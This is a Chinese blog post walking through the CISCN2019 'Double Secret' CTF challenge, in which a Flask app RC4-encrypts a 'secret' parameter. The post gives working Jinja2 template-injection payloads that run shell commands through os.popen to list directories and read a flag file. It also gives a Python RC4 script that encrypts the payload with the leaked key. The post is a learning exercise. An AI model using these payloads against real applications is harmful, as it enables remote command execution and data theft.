CISCN赛题复现
本文最后更新于325 天前,其中的信息可能已经过时,如有错误请发送邮件到2292955451@qq.com

快打比赛了有点紧张,随便来复现几道国赛题,长长见识

[CISCN2019 华东南赛区]Double Secret

这道题目比较难的地方在于他考察的是RC4加密,我们首先进入环境,就只有一行字,叫我们找secret,一开始的时候找了一圈,啥都没有。因为不管是抓包还是在kali机里头都找不到有用的信息。后面发现了一个关键单词,secret。于是我尝试进入,得到新的页面

这个的意思是告诉我你的秘密,我会加密,让别人看不见。于是猜测是再传一个secret参数

发现信息被加密,那这就是注入点了

开始尝试,找不出什么加密规律,一开始以为是凯撒,后来发现我还是太年轻了。后面直接选择爆长度,看能不能回显,直接爆出源码

这里就是告诉我们加密方式是RC4,还给了一个密钥。不用说,我肯定不会。那就只能去看wp了,卧槽,深感自己像个菜鸡。

看了wp,发现自己还是不够细,通过报错页面,我还可以在知道他是flask模板,所以可以使用,SSTI模板注入。

于是找到SSTI模板注入的经典语句

{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read() }}

然后对他进行RC4加密和url加密,根据大佬的说法,url编码原因是,经过rc4加密之后有不可见字符,影响get传参

但是吧,它使用的工具我没复现出来,但是脚本却可以,果然还得是一个脚本走天下啊,什么时候我才能那么强大

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("加密后的字符串是:%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{ config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read() }}")

然后把字符串输入就可以得到flag

总结:RC4太菜了,得学。然后模板注入也得会,知识储备不够啊,太垃圾了,继续努力吧

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇